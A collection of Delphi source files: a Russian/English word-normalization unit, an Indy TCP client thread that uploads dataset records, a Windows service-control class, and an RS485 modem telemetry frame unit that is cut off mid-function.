function _CallBack0(ACharsInfo: Tm0LNGLibCharsInfo; AStatus: LongInt;
AFlags: LongInt; ABuff: PAnsiChar; AProc: Tm0LNGLibCallBackProc): LongInt;
begin
if ((AFlags and Cm0LNGLibFlagUSET_FORM) <> 0) then
Result := m0STRAnsiUpperBuff(ABuff)
else
Result := l3StrLen(ABuff);
AProc((AStatus or Cm0LNGLibStatusNORM_FORM), ABuff, Result);
end;
function EndingReplace: Tm3EndingReplaceList;
var
aStream : TStream;
begin
if gEndingReplace = nil then
begin
gEndingReplace := Tm3EndingReplaceList.Create;
if Assigned(g_InitEndingListProc) then
g_InitEndingListProc(gEndingReplace);
{aStream := Tl3FileStream.Create('D:\endings.txt', l3_fmRead);
try
gEndingReplace.Load(aStream);
finally
l3Free(aStream);
end;}
end;
Result := gEndingReplace;
end;
procedure m0ExplicitEndingsListLoad;
begin
EndingReplace;
end;
procedure _CallBack1(ACharsInfo: Tm0LNGLibCharsInfo; AStatus: LongInt; AFlags: LongInt; ABuff: PAnsiChar; AProc: Tm0LNGLibCallBackProc);
function __TruncateEnd(ATermHandle: Tl3EndingList; const AStopHandle: TChars; var aStr : Tl3PCharLen): Boolean;
var
lBegPos: Cardinal;
lIndex : Integer;
begin
Result := False;
if aTermHandle.InWord(aStr, lBegPos) then
if ((lBegPos > 0) and (lBegPos < aStr.SLen)) then
if not l3AllCharsInCharSet(aStr.S, lBegPos, aStopHandle) then
begin
aStr.SLen := lBegPos;
Result := True;
end;
end;
var
l_SaveChar : AnsiChar;
l_Str : Tl3PCharLen;
lLen : Integer;
begin
if ((AFlags and Cm0LNGLibFlagUSET_FORM) <> 0) then
lLen := m0STRAnsiUpperBuff(ABuff)
else
lLen := l3StrLen(ABuff);
l_Str := l3PCharLen(aBuff, lLen);
if ((AFlags and Cm0LNGLibFlagUPNF_FORM) <> 0) then
begin
//замена окончания
if EndingReplace.MakeNorm(l_Str) then
// собственно все уже сделали
else
// отрезание окончания
case ACharsInfo of
Cm0LNGLibEnglish:
if __TruncateEnd(g_EnglishEndings, cc_EngConsonants, l_Str) then
AStatus := AStatus or Cm0LNGLibStatusPNRM_FORM and not Cm0LNGLibStatusNORM_FORM;
Cm0LNGLibRussian:
if __TruncateEnd(g_RussianEndings, cc_RusConsonants, l_Str) then
AStatus := AStatus or Cm0LNGLibStatusPNRM_FORM and not Cm0LNGLibStatusNORM_FORM;
end;//case ACharsInfo
end;//(AFlags and Cm0LNGLibFlagUPNF_FORM) <> 0
if ((AStatus and Cm0LNGLibStatusPNRM_FORM) <> 0) then
begin
l_SaveChar := l_Str.S[l_Str.SLen];
try
l_Str.S[l_Str.SLen] := '@';
AProc(AStatus, l_Str.S, Succ(l_Str.SLen));
finally
l_Str.S[l_Str.SLen] := l_SaveChar;
end;//try..finally
end
else
AProc(AStatus, l_Str.S, l_Str.SLen);
end;
procedure m0LNGNormalBuff(AStatus: LongInt; AFlags: LongInt; ABuff: PAnsiChar;
ASize: Cardinal; AOemCp: LongBool; AProc: Tm0LNGLibCallBackProc;
aWithDot: Bool = False; aTemp: PPointer = nil);
procedure __NormalBuff(AStatus: LongInt;
AFlags: LongInt;
ABuff: PAnsiChar;
ASize: Cardinal;
AProc: Tm0LNGLibCallBackProc);
procedure __ALTVForms( ACharsInfo: Tm0LNGLibCharsInfo;
AFlags: LongInt;
ABuff: PAnsiChar;
AProc: Tm0LNGLibCallBackProc
);
begin
_CallBack1(ACharsInfo,AStatus,AFlags,ABuff,AProc);
end;
var
LForms : SmallInt;
LGPos : SmallInt;
LGPtr : PAnsiChar;
LGram : Tm0EXTInfGramBuff;
L_Len : Long;
begin
case _ChkChars(ABuff,ASize) of
Cm0LNGLibUnknown:
__ALTVForms(Cm0LNGLibUnknown,AFlags,ABuff,AProc);
Cm0LNGLibEnglish:
_CallBack1(Cm0LNGLibEnglish,AStatus,AFlags,ABuff,AProc);
Cm0LNGLibRussian: begin
if ((AFlags and Cm0LNGLibFlagNORM_FORM) <> 0) then
begin
if (mlmaruCheckWord(ABuff, maIgnoreCapitals) = 1) then
begin
LGPos:=0;
LForms:=mlmaruLemmatize(ABuff, maIgnoreCapitals, LGram, nil, nil, SizeOf(LGram), 0, 0);
while (LForms <> 0) do
begin
LGPtr:=@LGram[LGPos];
Inc(LGPos,SmallInt(Succ(_CallBack0(Cm0LNGLibRussian,AStatus,AFlags,LGPtr,AProc))));
Dec(LForms);
end;//while (LForms <> 0)
//_SetCaps
end
else
begin
if (aSize > 2) AND
(aBuff[0] = 'Н') AND (aBuff[1] = 'Е') AND
(mlmaruCheckWord(ABuff+2, maIgnoreCapitals) = 1) then
begin
LGPos:=0;
LForms:=mlmaruLemmatize(ABuff + 2, maIgnoreCapitals, LGram, nil, nil, SizeOf(LGram), 0, 0);
if (aTemp = nil) then
begin
while (LForms <> 0) do
begin
LGPtr:=@LGram[LGPos];
Inc(LGPos,SmallInt(Succ(_CallBack0(Cm0LNGLibRussian,AStatus,AFlags,PAnsiChar('НЕ' + String(LGPtr)),AProc))));
Dec(LForms);
end;//while (LForms <> 0)
end
else
begin
while (LForms <> 0) do
begin
LGPtr:=@LGram[LGPos];
l_Len := StrLen(LGPtr);
if (aTemp^ = nil) then
begin
l3System.GetLocalMem(aTemp^, l_Len + 3);
l3Move('НЕ', PAnsiChar(aTemp^)^, 2);
end
else
if (l3MemorySize(aTemp^) < l_Len + 3) then
l3System.ReallocLocalMem(aTemp^, l_Len + 3);
l3Move(LGPtr^, PAnsiChar(aTemp^)[2], Succ(l_Len));
Inc(LGPos,SmallInt(Succ(_CallBack0(Cm0LNGLibRussian,AStatus,AFlags,aTemp^,AProc))));
Dec(LForms);
end;//while (LForms <> 0)
end;//aTemp = nil
Exit;
end;//aSize..
__ALTVForms(Cm0LNGLibRussian,AFlags,ABuff,AProc);
end;
end else
__ALTVForms(Cm0LNGLibRussian,AFlags,ABuff,AProc);
end;//Cm0LNGLibRussian
end;//case _ChkChars(ABuff,ASize)
end;
var
LBuff: Tm0LNGLibCharsBuff;
LSize: Cardinal;
begin
if (((ABuff <> nil) and (ASize <> 0)) and Assigned(AProc)) then
begin
LSize := Min(Pred(SizeOf(LBuff)), ASize);
//LSize := m0S32Min(Pred(SizeOf(LBuff)), ASize);
m2XLTConvertOem2Ansi(AOemCp, m0STRCopySize( @LBuff, ABuff, LSize), LSize);
if (LSize <> ASize) then
begin
{$If Declared(Gm0EXCLibDefSrv) AND Declared(SWTooLongWord)}
Gm0EXCLibDefSrv.SaveMessage(Cm0EXCLibWRG, Format(SWTooLongWord, [StrPas(LBuff)]));
{$IfEnd}
AStatus := AStatus or Cm0LNGLibStatusToo_Long;
end;//LSize <> ASize
__NormalBuff(AStatus, AFlags, @LBuff, LSize, AProc);
end;
end;
initialization
{!touched!}{$IfDef LogInit} WriteLn('W:\common\components\rtl\Garant\L3\m0\pas\m0lnglib.pas initialization enter'); {$EndIf}
{!touched!}{$IfDef LogInit} WriteLn('W:\common\components\rtl\Garant\L3\m0\pas\m0lnglib.pas initialization leave'); {$EndIf}
finalization
l3Free(_g_EnglishEndings);
l3Free(_g_RussianEndings);
l3Free(gEndingReplace);
end.
|
unit IndyDbClientThread;
interface
uses
Classes, IdTcpClient, DB;
type
TLogEvent = procedure(Sender: TObject; LogMsg: String) of object;
TSendThread = class(TThread)
private
fIdTcpClient: TIdTcpClient;
fDataSet: TDataSet;
fOnLog: TLogEvent;
fLogMsg: String;
fServerAddress: string;
procedure SetOnLog(const Value: TLogEvent);
procedure SetServerAddress(const Value: string);
protected
procedure Execute; override;
procedure DoLog;
public
constructor Create(aDataSet: TDataSet);
property OnLog: TLogEvent read FOnLog write SetOnLog;
property ServerAddress: string read FServerAddress write SetServerAddress;
end;
implementation
constructor TSendThread.Create(aDataSet: TDataSet);
begin
inherited Create(True);
fDataSet := aDataSet;
FreeOnTerminate := True;
end;
procedure TSendThread.DoLog;
begin
if Assigned(FOnLog) then
FOnLog(self, FLogMsg);
end;
procedure TSendThread.Execute;
var
I: Integer;
Data: TStringList;
Buf: String;
begin
try
Data := TStringList.Create;
fIdTcpClient := TIdTcpClient.Create (nil);
try
fIdTcpClient.Host := ServerAddress;
fIdTcpClient.Port := 1051;
fIdTcpClient.Connect;
fDataSet.First;
while not fDataSet.Eof do
begin
// if the record is still not logged
if fDataSet.FieldByName('CompID').IsNull or (fDataSet.FieldByName('CompID').AsInteger = 0) then
begin
FLogMsg := 'Sending ' + fDataSet.FieldByName('Company').AsString;
Synchronize(DoLog);
Data.Clear;
// create strings with structure "FieldName=Value"
for I := 0 to fDataSet.FieldCount - 1 do
Data.Values [fDataSet.Fields[I].FieldName] :=
fDataSet.Fields [I].AsString;
// send the record
fIdTcpClient.Writeln ('senddata');
fIdTcpClient.WriteStrings (Data, True);
// wait for reponse
Buf := fIdTcpClient.ReadLn;
fDataSet.Edit;
fDataSet.FieldByName('CompID').AsString := Buf;
fDataSet.Post;
FLogMsg := fDataSet.FieldByName('Company').AsString +
' logged as ' + fDataSet.FieldByName('CompID').AsString;
Synchronize(DoLog);
end;
fDataSet.Next;
end;
finally
fIdTcpClient.Disconnect;
fIdTcpClient.Free;
Data.Free;
end;
except
// trap exceptions in case of dataset errors
// (concurrent editing and so o
end;
end;
procedure TSendThread.SetOnLog(const Value: TLogEvent);
begin
FOnLog := Value;
end;
procedure TSendThread.SetServerAddress(const Value: string);
begin
FServerAddress := Value;
end;
end.
|
unit ServiceCtrl;
interface
uses
Winapi.WinSvc, System.SysUtils, Winapi.Windows, Winapi.ShellApi;
type
TServiceCtrl = class
private
schm, schs: SC_Handle;
ss: TServiceStatus;
FActive: Boolean;
FServiceName: String;
FMachine: String;
function ServiceStopped : boolean;
function ServiceRunning : boolean;
function ServicePaused : boolean;
function GetServiceActive : boolean;
procedure SetActive(const Value: Boolean);
procedure SetMachine(const Value: String);
procedure SetServiceName(const Value: String);
procedure SetServiceActive(const Value: Boolean);
public
constructor Create; overload;
constructor Create(aService: String); overload;
constructor Create(aService, aMachine: String); overload;
destructor Destroy; override;
property Machine: String read FMachine write SetMachine;
property ServiceName: String read FServiceName write SetServiceName;
property Active: Boolean read FActive write SetActive default False;
property ServiceActive: Boolean read GetServiceActive write SetServiceActive default False;
function Start: boolean;
function Stop(aTimeout: Cardinal = $FFFFFFFF) : boolean;
function Restart: boolean;
function Pause : boolean;
function Resume: boolean;
function Terminate: Boolean;
function ServiceGetStatus : Longint;
class function CheckIsInstalled(aService: String; aMachine: String = ''): Boolean;
class function ControlService(aStart: Boolean; aService: String; aMachine: String = ''): Boolean;
class function CheckIsRunning(aService: String; aMachine: String = ''): Boolean;
class function InstallDelphiService(const aServicePath: String; aInstall: Boolean): Boolean;
end;
function IsUserAdmin: Boolean;
implementation
// Detech if the user is a member of the Administrators group
function IsUserAdmin: Boolean;
const
SECURITY_NT_AUTHORITY: TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0, 5)) ;
SECURITY_BUILTIN_DOMAIN_RID = $00000020;
DOMAIN_ALIAS_RID_ADMINS = $00000220;
var
hAccessToken: THandle;
ptgGroups: PTokenGroups;
dwInfoBufferSize: DWORD;
psidAdministrators: PSID;
g: Integer;
bSuccess: BOOL;
begin
Result := False;
bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True, hAccessToken) ;
if not bSuccess then
begin
if GetLastError = ERROR_NO_TOKEN then
bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hAccessToken) ;
end;
if bSuccess then
begin
GetMem(ptgGroups, 1024) ;
bSuccess := GetTokenInformation(hAccessToken, TokenGroups, ptgGroups, 1024, dwInfoBufferSize) ;
CloseHandle(hAccessToken) ;
if bSuccess then
begin
AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, psidAdministrators) ;
for g := 0 to ptgGroups.GroupCount - 1 do
if EqualSid(psidAdministrators, ptgGroups.Groups[g].Sid) then
begin
Result := True;
Break;
end;
FreeSid(psidAdministrators) ;
end;
FreeMem(ptgGroups) ;
end;
end;
// Set an application privilege by a given name
// Used by TServiceCtrl.Terminate to set "SeDebugPrivilege"
function NTSetPrivilege(const aPrivilege: string; aEnabled: Boolean): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
PrevTokenPriv: TOKEN_PRIVILEGES;
ReturnLength: Cardinal;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
try
if LookupPrivilegeValue(nil, PChar(APrivilege), TokenPriv.Privileges[0].Luid) then
begin
TokenPriv.PrivilegeCount := 1;
case aEnabled of
True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
False: TokenPriv.Privileges[0].Attributes := 0;
end;
ReturnLength := 0;
PrevTokenPriv := TokenPriv;
Result := AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv), PrevTokenPriv, ReturnLength);
end;
finally
CloseHandle(hToken);
end;
end;
end;
{ TServiceCtrl }
function TServiceCtrl.Start: boolean;
var
psTemp : PChar;
MaxCount, Count: Integer;
begin
if FActive then
begin
if Winapi.WinSvc.StartService(schs, 0, psTemp) then
begin
ServiceGetStatus;
if ss.dwWaitHint > 1000 then
MaxCount := round(ss.dwWaitHint / 1000)
else
MaxCount := 30;
Count := 0;
while (not ServiceRunning) and (Count < MaxCount) do
begin
Sleep(1000);
Inc(Count);
if ServiceGetStatus = -1 then break;
end;
end;
end;
Result := SERVICE_RUNNING = ss.dwCurrentState;
end;
function TServiceCtrl.Stop(aTimeout: Cardinal = $FFFFFFFF) : boolean;
var
maxCount, Count : Integer;
begin
if FActive then
begin
if Winapi.WinSvc.ControlService(schs, SERVICE_CONTROL_STOP, ss) then
begin
if ss.dwWaitHint > 1000 then
MaxCount := round(ss.dwWaitHint / 1000)
else
MaxCount := aTimeout div 1000;
Count := 0;
while (not ServiceStopped) and (Count < MaxCount) do
begin
Sleep(1000);
Inc(Count);
if ServiceGetStatus = -1 then break;
end;
end;
if not ServiceStopped and (aTimeout <> $FFFFFFFF) then
Terminate;
end;
Result := SERVICE_STOPPED = ss.dwCurrentState;
end;
// Forcefully terminate the process of the service
function TServiceCtrl.Terminate: Boolean;
var
ServiceInfo: SERVICE_STATUS_PROCESS;
BytesNeeded: Cardinal;
ProcHandle : THandle;
begin
Result := false;
// The SeDebugPrivilege is required on Vista/7 to gain the PROCESS_TERMINATE access
NTSetPrivilege('SeDebugPrivilege', true);
// Get the processID, convert it to a process handle and terminate the process
if QueryServiceStatusEx(schs, SC_STATUS_PROCESS_INFO, @ServiceInfo, SizeOf(ServiceInfo), BytesNeeded) then
begin
ProcHandle := OpenProcess(PROCESS_TERMINATE, false, ServiceInfo.dwProcessId);
if ProcHandle > 0 then
begin
Result := TerminateProcess(ProcHandle, 0);
CloseHandle(ProcHandle);
end;
end;
end;
function TServiceCtrl.Restart: boolean;
begin
Result := False;
if ServiceRunning or ServicePaused then
begin
if Stop then
if Start then
Result := True;
end
else
if Start then
Result := true;
end;
function TServiceCtrl.Pause : boolean;
var
maxCount, Count : Integer;
begin
if FActive then
begin
if Winapi.WinSvc.ControlService(schs, SERVICE_CONTROL_PAUSE, ss) then
begin
if ss.dwWaitHint > 1000 then
MaxCount := round(ss.dwWaitHint / 1000)
else
MaxCount := 30;
Count := 0;
while (not ServicePaused) and (Count < MaxCount) do
begin
Sleep(1000);
Inc(Count);
if ServiceGetStatus = -1 then break;
end;
end;
end;
Result := SERVICE_PAUSED = ss.dwCurrentState;
end;
function TServiceCtrl.Resume: boolean;
var
MaxCount, Count: Integer;
begin
if FActive then begin
if(Winapi.WinSvc.ControlService(schs, SERVICE_CONTROL_CONTINUE, ss))then
begin
if ss.dwWaitHint > 1000 then
MaxCount := round(ss.dwWaitHint / 1000)
else
MaxCount := 30;
Count := 0;
while (not ServiceRunning) and (Count < MaxCount) do
begin
Sleep(1000);
Inc(Count);
if ServiceGetStatus = -1 then break;
end;
end;
end;
Result := SERVICE_RUNNING = ss.dwCurrentState;
end;
function TServiceCtrl.ServiceGetStatus : longint;
var
dwStat : Longint;
begin
dwStat := -1;
if FActive then
if QueryServiceStatus(schs, ss) then
dwStat := ss.dwCurrentState;
Result := dwStat;
end;
function TServiceCtrl.ServiceRunning : boolean;
begin
Result := (SERVICE_RUNNING = ServiceGetStatus);
end;
function TServiceCtrl.ServiceStopped : boolean;
begin
Result := (SERVICE_STOPPED = ServiceGetStatus);
end;
function TServiceCtrl.ServicePaused : boolean;
begin
Result := (SERVICE_PAUSED = ServiceGetStatus);
end;
procedure TServiceCtrl.SetActive(const Value: Boolean);
begin
if (Value and not FActive) then
begin
schm := OpenSCManager(PChar(FMachine), Nil, SC_MANAGER_CONNECT);
if(schm > 0)then
begin
schs := OpenService(schm, PChar(FServiceName), SERVICE_ALL_ACCESS);
if schs > 0 then
FActive := True;
end;
end
else
if (not Value and FActive) then
begin
CloseServiceHandle(schs);
CloseServiceHandle(schm);
FActive := False;
end;
end;
procedure TServiceCtrl.SetMachine(const Value: String);
begin
if Value <> FMachine then
SetActive(False);
FMachine := Value;
end;
procedure TServiceCtrl.SetServiceName(const Value: String);
begin
if Value <> FServiceName then
SetActive(False);
FServiceName := Value;
end;
procedure TServiceCtrl.SetServiceActive(const Value: Boolean);
begin
if Value then
Start
else
Stop;
end;
function TServiceCtrl.GetServiceActive: boolean;
begin
if FActive then
Result := ServiceRunning
else
Result := False;
end;
constructor TServiceCtrl.Create;
begin
inherited Create();
FMachine := '';
FServiceName := '';
end;
constructor TServiceCtrl.Create(aService: String);
begin
inherited Create();
FMachine := '';
FServiceName := aService;
end;
constructor TServiceCtrl.Create(aService, aMachine: String);
begin
inherited Create();
FMachine := aMachine;
FServiceName := aService;
end;
destructor TServiceCtrl.Destroy;
begin
SetActive(False);
inherited Destroy;
end;
class function TServiceCtrl.CheckIsInstalled(aService: String; aMachine: String = ''): Boolean;
var
Service: TServiceCtrl;
begin
Service := TServiceCtrl.Create(aService, aMachine);
try
Service.Active := true;
Result := Service.Active;
finally
Service.Free;
end;
end;
class function TServiceCtrl.ControlService(aStart: Boolean; aService: String; aMachine: String = ''): Boolean;
var
Service: TServiceCtrl;
begin
Service := TServiceCtrl.Create(aService, aMachine);
try
Service.Active := true;
Service.ServiceActive := aStart;
Result := Service.ServiceActive = aStart;
finally
Service.Free;
end;
end;
class function TServiceCtrl.CheckIsRunning(aService: String; aMachine: String = ''): Boolean;
var
Service: TServiceCtrl;
begin
Service := TServiceCtrl.Create(aService, aMachine);
try
Service.Active := true;
Result := Service.ServiceActive;;
finally
Service.Free;
end;
end;
class function TServiceCtrl.InstallDelphiService(const aServicePath: String; aInstall: Boolean): Boolean;
var
Params: String;
SEInfo: TShellExecuteInfo;
begin
if aInstall then
Params := '/install'
else
Params := '/uninstall';
FillChar(SEInfo, SizeOf(SEInfo), 0);
SEInfo.cbSize := SizeOf(SEInfo);
SEInfo.Wnd := 0;
SEInfo.fMask := SEE_MASK_NOCLOSEPROCESS;
SEInfo.lpVerb := 'runas';
SEInfo.lpFile := PChar(aServicePath);
SEInfo.lpParameters := PChar(Params);
SEInfo.nShow := SW_SHOW;
if not ShellExecuteEx(@SEInfo) then
Exit(false);
if SEInfo.hProcess <> 0 then
begin
WaitForSingleObject(SEInfo.hProcess, 5000);
CloseHandle(SEInfo.hProcess);
end;
Result := true;
end;
end.
|
{.$DEFINE TestMode}
unit UFrameRS485;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
UTreeItem, StdCtrls, ExtCtrls, IniFiles, UModem, CommInt, UPRT, UServices,
Contnrs;
const
MaxPacketDataSize = 1000;
type
TItemMain = class;
TFrameRS485 = class(TFrame)
gbModem: TGroupBox;
GroupBox2: TGroupBox;
Panel: TPanel;
Label1: TLabel;
Label3: TLabel;
Label5: TLabel;
edPort: TEdit;
BtnChange: TButton;
cbWorking: TCheckBox;
Memo: TMemo;
comboBaudRate: TComboBox;
stModemState: TStaticText;
stInfoO: TStaticText;
stInfoI: TStaticText;
stConnTime: TStaticText;
procedure BtnChangeClick(Sender: TObject);
procedure cbWorkingClick(Sender: TObject);
procedure cbLeasedClick(Sender: TObject);
private
{ Private declarations }
Main:TItemMain;
public
{ Public declarations }
end;
TServiceHandler = function:Boolean of object;
TPacketHeader = packed record
ToAddr,FromAddr,ServiceID:Byte;
end;
TPacket=record
Hdr:TPacketHeader;
Data:packed array[0..MaxPacketDataSize-1] of Byte;
end;
TItemMain = class(TTreeItem)
private
FHwLeased: Boolean;
FHideLinkPanel: Boolean;
procedure SetWorking(const Value: Boolean);
function GetModem: TModem;
procedure SetLeasedLine(const Value: Boolean);
function GetService(i: Integer): TService;
protected
FM:TFrameMain;
KPs:TList;
iCurKP:Integer;
FEvents,CommEvents:String;
FWorking,FInTimerProc:Boolean;
FirstPacket:Boolean;
// Persistent variables
ComPort:String;
BaudRate:TBaudRate;
TarifUnit:Cardinal;
MaxDialTime,MaxConnTime,FRedialInterval:Cardinal;
DialCmd,InitCmd,DisconnectCmd:String;
AnswerTimeout:Cardinal;
FNoAlarm:Boolean;
// communication variables
FLeasedLine,FCheckRLSD:Boolean;
ConnectionTimer,OnlineTimer:Cardinal;
PPSI,SpeedI,SumI:Cardinal;
PPSO,SpeedO,SumO:Cardinal;
Buf:String;
RxWaitData:Boolean;
LastDataLen:Integer;
// PRT
Prt:TPRT;
//
SvcList:TObjectList;
iNextSvc:Integer;
SvcReprog:TServiceReprog;
SvcDump:TServiceDump;
//
procedure RefreshFrame;
procedure sendPacket(PRT:TPRT; const Data:String; SvcID:Integer);
function ProcessPacket(PRT:TPRT; MustRX,CanTX:Boolean):Boolean;
procedure UnknownServiceHandler(SvcID:Byte; Data:String);
procedure Connect(Cmd:String);
public
function Enter:TFrame;override;
function Leave:Boolean;override;
function Validate:Boolean;override;
constructor Load(Ini,Cfg:TIniFile; const Section:String);
destructor Destroy;override;
procedure SaveCfg(Cfg:TIniFile);override;
procedure TimerProc;override;
procedure ProcessIO;
protected
property Service[i:Integer]:TService read GetService;
public
Period:TDateTime;
NoAnswerWatchTimer:Cardinal;
property Working:Boolean read FWorking write SetWorking;
property LeasedLine:Boolean read FLeasedLine write SetLeasedLine;
property HwLeased:Boolean read FHwLeased;
property Modem:TModem read GetModem;
property RedialInterval:Cardinal read FRedialInterval;
property NoAlarm:Boolean read FNoAlarm;
function FindKP(Address:Integer; var KP:TTreeItem):Integer;
procedure SwitchProgramming;
procedure SwitchDumping;
procedure CommEvent(Event:String);
procedure AddEvent(Time:TDateTime; Event:String);
procedure ShowARQState(TxRd,TxWr,RxRd,RxWr:Integer);
procedure OnConnect;
procedure OnDisconnect;
procedure OnConnFailed;
procedure OnModemResponse;
end;
function ItemMain:TItemMain;
implementation
uses UFormMain, UFrameKP, Misc, UCRC, UTime;
{$R *.DFM}
function ItemMain:TItemMain;
begin
Result:=FormMain.Main;
end;
{ TItemMain }
procedure TItemMain.AddEvent(Time:TDateTime; Event: String);
begin
Event:=LogMsg(Time,Event);
if FM<>nil then begin
FM.Memo.SelStart:=0;
FM.Memo.SelText:=Event;
end;
FEvents:=Event+FEvents;
WriteToLog(Event);
end;
procedure TItemMain.CommEvent(Event: String);
const
Count:Integer=0;
begin
Inc(Count);
if (Count>=512) then begin
if FM<>nil then FM.Memo7188.Text:='';
CommEvents:='';
Count:=0;
end;
if FM<>nil then begin
FM.Memo7188.SelStart:=0;
FM.Memo7188.SelText:=Event+#13#10;
end;
CommEvents:=Event+#13#10+CommEvents;
end;
procedure TItemMain.OnConnFailed;
var
S:String;
begin
S:='Нет связи : '+ModemResponses[Modem.ResponseCode];
if ConnectionTimer>0 then S:=S+Format(' (%ds)',[ConnectionTimer]);
AddEvent(GetMyTime,S);
if iCurKP>=0
then TItemKP(KPs[iCurKP]).PauseDial;
iCurKP:=-1;
end;
constructor TItemMain.Load(Ini,Cfg: TIniFile;
const Section: String);
var
i,Cnt:Integer;
S:String;
HalfDuplex:Boolean;
begin
Self.Section:=Section;
Node:=FormMain.TreeView.Items.AddObject(nil,Section,Self);
FHideLinkPanel:=Ini.ReadBool(Section,'HideLinkPanel',False);
InitCmd:=Ini.ReadString(Section,'InitCmd','AT E0');
DialCmd:=Ini.ReadString(Section,'DialCmd','');
DisconnectCmd:=Ini.ReadString(Section,'DisconnectCmd','ATH');
FHwLeased:=(DialCmd=''); LeasedLine:=FHwLeased;
FCheckRLSD:=Ini.ReadBool(Section,'CheckRLSD',True);
if not FCheckRLSD
then Modem.MonitorEvents:=Modem.MonitorEvents - [evRLSD];
AnswerTimeout:=Ini.ReadInteger(Section,'AnswerTimeout',8);
ComPort:=Cfg.ReadString(Section,'ComPort','COM1');
BaudRate:=TBaudRate(Cfg.ReadInteger(Section,'BaudRateCode',Integer(br19200)));
HalfDuplex:=Ini.ReadBool(Section,'HalfDuplex',False);
if Ini.ReadBool(Section,'DsrSensitivity',True) then begin
Modem.Options:=Modem.Options + [coDsrSensitivity];
Modem.MonitorEvents:=Modem.MonitorEvents + [evDSR];
end;
Modem.ReadBufSize:=4096;
Modem.WriteBufSize:=4096;
TarifUnit:=Cfg.ReadInteger(Section,'TarifUnit',15);
MaxConnTime:=Cfg.ReadInteger(Section,'MaxConnTime',45);
MaxDialTime:=Ini.ReadInteger(Section,'MaxDialTime',60);
FRedialInterval:=Ini.ReadInteger(Section,'RedialInterval',60);
UTime.SetMyTimeType(Ini.ReadInteger(Section,'MyTimeType',0));
FNoAlarm:=Ini.ReadBool(Section,'NoAlarm',False);
FormMain.NMUDP.RemoteHost:=Ini.ReadString(Section,'Host','127.0.0.1');
Period:=Ini.ReadInteger(Section,'Period',1000)*dtOneMSec;
{$IFDEF TestMode}
PrtModem:=TPRT_Test.Create;
{$ELSE}
PrtModem:=TPRT_Modem.Create(Modem);
{$ENDIF}
PrtPacketer:=TPRT_Packeter.Create(PrtModem,HalfDuplex);
PrtARQ:=TPRT_ARQ.Create(PrtPacketer,8000);
Cnt:=Ini.ReadInteger(Section,'KPCount',0);
KPs:=TList.Create;
for i:=1 to Cnt do begin
S:=Ini.ReadString(Section,Format('KP%.2d',[i]),'');
if S<>''
then KPs.Add(TItemKP.Load(Self,Ini,Cfg,S));
end;
iCurKP:=-1;
Working:=True;
PrtARQ.TimeServer:=TServiceTimeServer.Create;
SvcList:=TObjectList.Create(True);
SvcList.Add(TServiceTimeServer.Create);
SvcList.Add(TServiceAlarm.Create(Ini));
SvcList.Add(TServiceADC.Create);
SvcReprog:=TServiceReprog.Create;
SvcList.Add(SvcReprog);
SvcDump:=TServiceDump.Create;
SvcList.Add(SvcDump);
AddEvent(GetMyTime,'ЗАПУСК');
end;
procedure TItemMain.UnknownServiceHandler(SvcID:Byte; Data:String);
var
S:String;
begin
if Length(Data)=0 then S:=''
else S:=getHexDump(Data[1],Length(Data));
CommEvent(Format('Svc%d?%s', [SvcID,S]));
end;
destructor TItemMain.Destroy;
var
i:Integer;
begin
SvcList.Free;
PrtARQ.TimeServer.Free;
PrtARQ.Free;
PrtPacketer.Free;
PrtModem.Free;
Modem.Close;
AddEvent(GetMyTime,'ОСТАНОВ');
for i:=0 to KPs.Count-1 do TItemKP(KPs[i]).Free;
KPs.Free;
inherited;
end;
function TItemMain.Enter: TFrame;
begin
FM:=TFrameMain.Create(FormMain);
FM.Main:=Self;
FM.edPort.Text:=ComPort;
FM.comboBaudRate.ItemIndex:=Integer(BaudRate);
FM.edTarifUnit.Text:=IntToStr(TarifUnit);
FM.edMaxConnTime.Text:=IntToStr(MaxConnTime);
FM.cbWorking.Checked:=FWorking;
FM.cbLeased.Checked:=FLeasedLine;
FM.Memo.Text:=FEvents;
FM.Memo.SelStart:=Length(FEvents);
FM.Memo7188.Text:=CommEvents;
if FHideLinkPanel then begin
FM.gbModem.Enabled:=False;
FM.gbModem.Width:=4;
end
else if FHwLeased then begin
FM.cbLeased.Checked:=True;
FM.cbLeased.Enabled:=False;
FM.lblTarifUnit.Visible:=False;
FM.edTarifUnit.Visible:=False;
FM.lblMaxConnTime.Visible:=False;
FM.edMaxConnTime.Visible:=False;
end;
RefreshFrame;
Result:=FM;
end;
function TItemMain.GetModem: TModem;
begin
Result:=FormMain.Modem;
end;
function TItemMain.Leave: Boolean;
begin
FM.Free; FM:=nil;
Result:=True;
end;
procedure TItemMain.OnConnect;
begin
{$IFDEF TestMode}
while PrtARQ.CanTX do SendPacket('0123456789012345',1);
{$ENDIF}
OnlineTimer:=0;
LastDataLen:=0;
AddEvent(GetMyTime,Format('Связь установлена (за %ds)',[ConnectionTimer]));
FirstPacket:=True;
PrtModem.TxBufEmpty:=True;
NoAnswerWatchTimer:=0;
SumI:=0; SumO:=0;
end;
function TItemMain.ProcessPacket(PRT:TPRT; MustRX,CanTX:Boolean):Boolean;
var
i:Integer;
Found:Boolean;
KP:TItemKP;
Pack:TPacket;
Size:Integer;
Svc:TService;
SvcID:Integer;
Data:String;
begin
Result:=False;
if MustRX then begin
NoAnswerWatchTimer:=0;
Size:=PRT.Rx(Pack,SizeOf(Pack));
Pack.Hdr:=Pack.Hdr;
SetLength(Data,Size-SizeOf(Pack.Hdr));
Move(Pack.Data,Data[1],Length(Data));
if iCurKP<0
then iCurKP:=FindKP(Pack.Hdr.FromAddr,TTreeItem(KP))
else KP:=TItemKP(KPs[iCurKP]);
if (KP<>nil) and FirstPacket then begin
KP.ManualDialRequest:=False;
FirstPacket:=False;
AddEvent(GetMyTime,'Ответ "'+KP.Name+'"');
end;
Found:=False;
for i:=0 to SvcList.Count-1 do begin
Svc:=Service[i];
